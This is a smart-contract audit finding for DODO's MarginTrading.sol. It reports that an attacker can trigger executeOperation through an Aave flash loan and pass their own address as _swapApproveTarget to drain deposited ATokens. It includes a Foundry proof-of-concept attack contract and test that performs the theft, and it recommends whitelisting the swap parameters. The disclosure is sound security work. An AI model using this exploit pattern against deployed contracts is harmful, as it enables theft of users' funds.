pengun

high

# Attacker could call executeOperation and steal all funds in MarginTrading.sol

## Summary

`MarginTrading.sol` is vulnerable to funds theft due to the potential for a malicious user to call `executeOperation()` and approve tokens to their own address through the `_swapApproveTarget` parameter. This allows an attacker to drain all deposited tokens, particularly ATokens, from the contract.

## Vulnerability Detail

`MarginTrading.sol` is designed to allow the opening and closing of positions through `executeOperation()`. The function is called by `flashLoan()` in the lendingPool, and is triggered by the receiver's `executeOperation()` as defined in [Aave's FlashLoanLogic.sol](https://github.com/aave/aave-v3-core/blob/29ff9b9f89af7cd8255231bc5faf26c3ce0fb7ce/contracts/protocol/libraries/logic/FlashLoanLogic.sol#L102-L108). Due to the nature of `flashLoan()`, an attacker can set MarginTrading's `executeOperation()` as the receiver and call the function themselves to open or close positions as desired.

The more significant issue, however, is that an attacker can approve any tokens they choose to their own address by setting the `_swapApproveTarget` parameter to their own address. This allows the attacker to steal all tokens deposited in the contract, particularly ATokens, and leave the users with nothing.


### POC (foundry)
To run this POC code, you need to modify the executeOperation call in the flashLoan function of MockLendingPoolV3.sol like below.
`IFlashLoanReceiver(receiverAddress).executeOperation(assets, amounts, _premiums, msg.sender, params);`
This is because the actual aave LendingPool call `executeOperation()` on the receiver.
```solidity
contract Attack {
    address owner;
    
    MockERC20 public daiAToken;
    constructor(MockERC20 _daiA) {
        owner = msg.sender;
        daiAToken = _daiA;
    }
    function exploit(address target) public {
        uint256 balance = daiAToken.balanceOf(target);
        daiAToken.transferFrom(target, owner, balance);
    }
}
function testExploit() public {
    address _marginTrading = openMarginTradingDAIV3(user1, address(dai), address(weth), 10000 ether, 1 ether);
    
    address attacker = address(0xbad);
    vm.startPrank(attacker);
    address attackContract = address(new Attack(daiAToken));

    address[] memory assets = new address[](1);
    uint256[] memory amounts = new uint256[](1);
    uint256[] memory modes = new uint256[](1);
    
    assets[0] = address(dai);
    amounts[0] = 0;
    modes[0] = 0;
    uint8 _flag = 0;
    address _swapAddress = attackContract;
    address _swapApproveTarget = attackContract;
    address[] memory _swapApproveToken = new address[](1);
    _swapApproveToken[0] = address(daiAToken);
    bytes memory _swapParams = abi.encodeWithSignature("exploit(address)", _marginTrading);
    address[] memory _tradeAssets = new address[](0);
    address[] memory _withdrawAssets = new address[](0);
    address[] memory _withdrawAmounts = new address[](0);
    address[] memory _rateMode = new address[](0);
    address[] memory _debtTokens = new address[](0);
    bytes memory params = abi.encode(
        _flag,
        _swapAddress,
        _swapApproveTarget,
        _swapApproveToken,
        _swapParams,
        _tradeAssets,
        _withdrawAssets,
        _withdrawAmounts,
        _rateMode,
        _debtTokens
    );
    lendingPoolV3.flashLoan(
        _marginTrading, 
        assets, 
        amounts, 
        modes, 
        _marginTrading, 
        params, 
        0);

    console.log("marginTrading DAIA balance", daiAToken.balanceOf(_marginTrading));
    console.log("attacker DAIA balance", daiAToken.balanceOf(attacker));

    lendingPoolV3.withdraw(address(dai), daiAToken.balanceOf(attacker), attacker);
    console.log("attacker DAI balance", dai.balanceOf(attacker));
}
```

## Impact

An attacker can potentially steal all tokens deposited in `MarginTrading.sol` by calling `executeOperation()` with the `_swapApproveTarget` parameter set to their own address. This could result in significant financial losses for users.

## Code Snippet

https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L121-L166

## Tool used

Manual Review

## Recommendation

To address this vulnerability, it is recommended to manage the important parameters such as `_swapAddress` and `_swapApproveTarget` in a whitelist format. This will prevent attackers from setting these parameters to their own addresses and stealing all deposited tokens.